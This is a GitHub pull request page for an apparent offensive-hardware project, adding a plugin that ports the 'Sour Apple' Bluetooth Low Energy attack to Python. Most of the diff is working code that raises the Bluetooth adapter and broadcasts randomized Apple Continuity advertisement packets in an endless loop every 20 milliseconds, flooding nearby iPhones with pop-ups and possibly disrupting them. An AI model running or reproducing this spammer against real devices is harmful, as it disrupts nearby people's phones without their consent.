Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ble sour apple script #25

Open
wants to merge 9 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 6 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
81 changes: 79 additions & 2 deletions plugins/BLE/ble.py
Original file line number Diff line number Diff line change
@@ -1,2 +1,79 @@
# yo deadass bluez sucks and my pi dies installing any bluetooth library
# someone work on this pelase
# Source: https://github.com/RapierXbox/ESP32-Sour-Apple
# Licensed under GPL 3.0, we should be able to use this right?
# ESP32(Python) Sour Apple by @RapierXbox and @Amachik

from core.plugin import BasePwnhyvePlugin
from core.SH1106.screen import screenConsole, waitForKey
import random
import bluetooth._bluetooth as bluez
from time import sleep
import struct
import socket
import array
import fcntl
from errno import EALREADY

screen = screenConsole(draw, disp, image)
dj1ch marked this conversation as resolved.
Show resolved Hide resolved

class PWNble(BasePwnhyvePlugin):
def loading(self):
for _ in range(3):
print("Starting iPhone BLE", end="", flush=True)
sleep(0.5)
print(".", end="", flush=True)
sleep(0.5)
print(".", end="", flush=True)
sleep(0.5)
print(".", end="", flush=True)
sleep(0.5)
print("\b\b\b \b\b\b", end="", flush=True)

def iphoneBLE(self, GPIO):
dj1ch marked this conversation as resolved.
Show resolved Hide resolved
try:
screen.start()
self.loading()
dj1ch marked this conversation as resolved.
Show resolved Hide resolved
waitForKey(GPIO)

hci_sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
req_str = struct.pack("H", 0)
request = array.array("b", req_str)
try:
fcntl.ioctl(hci_sock.fileno(), bluez.HCIDEVUP, request[0])
except IOError as e:
if e.errno == EALREADY:
pass
else:
raise
finally:
hci_sock.close()

try:
sock = bluez.hci_open_dev(0)
except Exception as e:
print(f"Unable to connect to Bluetooth hardware 0: {e}")
return
try:
while True:
types = [0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0]
bt_packet = (16, 0xFF, 0x4C, 0x00, 0x0F, 0x05, 0xC1, types[random.randint(0, len(types) - 1)],
random.randint(0, 255), random.randint(0, 255), random.randint(0, 255), 0x00, 0x00, 0x10,
random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
struct_params = [20, 20, 3, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0]
cmd_pkt = struct.pack("<HHBBB6BBB", *struct_params)
bluez.hci_send_cmd(sock, 0x08, 0x0006, cmd_pkt)
cmd_pkt = struct.pack("<B", 0x01)
bluez.hci_send_cmd(sock, 0x08, 0x000A, cmd_pkt)
cmd_pkt = struct.pack("<B%dB" % len(bt_packet), len(bt_packet), *bt_packet)
bluez.hci_send_cmd(sock, 0x08, 0x0008, cmd_pkt)

dj1ch marked this conversation as resolved.
Show resolved Hide resolved
sleep(0.02)
cmd_pkt = struct.pack("<B", 0x00)
bluez.hci_send_cmd(sock, 0x08, 0x000A, cmd_pkt)
except KeyboardInterrupt:
cmd_pkt = struct.pack("<B", 0x00)
bluez.hci_send_cmd(sock, 0x08, 0x000A, cmd_pkt)
except Exception as e:
print(f"An error occurred: {e}")
cmd_pkt = struct.pack("<B", 0x00)
bluez.hci_send_cmd(sock, 0x08, 0x000A, cmd_pkt)
print("iPhone BLE finished!")
3 changes: 2 additions & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -6,4 +6,5 @@ numpy
scapy
smbus
spidev
pytoml
pytoml
pybluez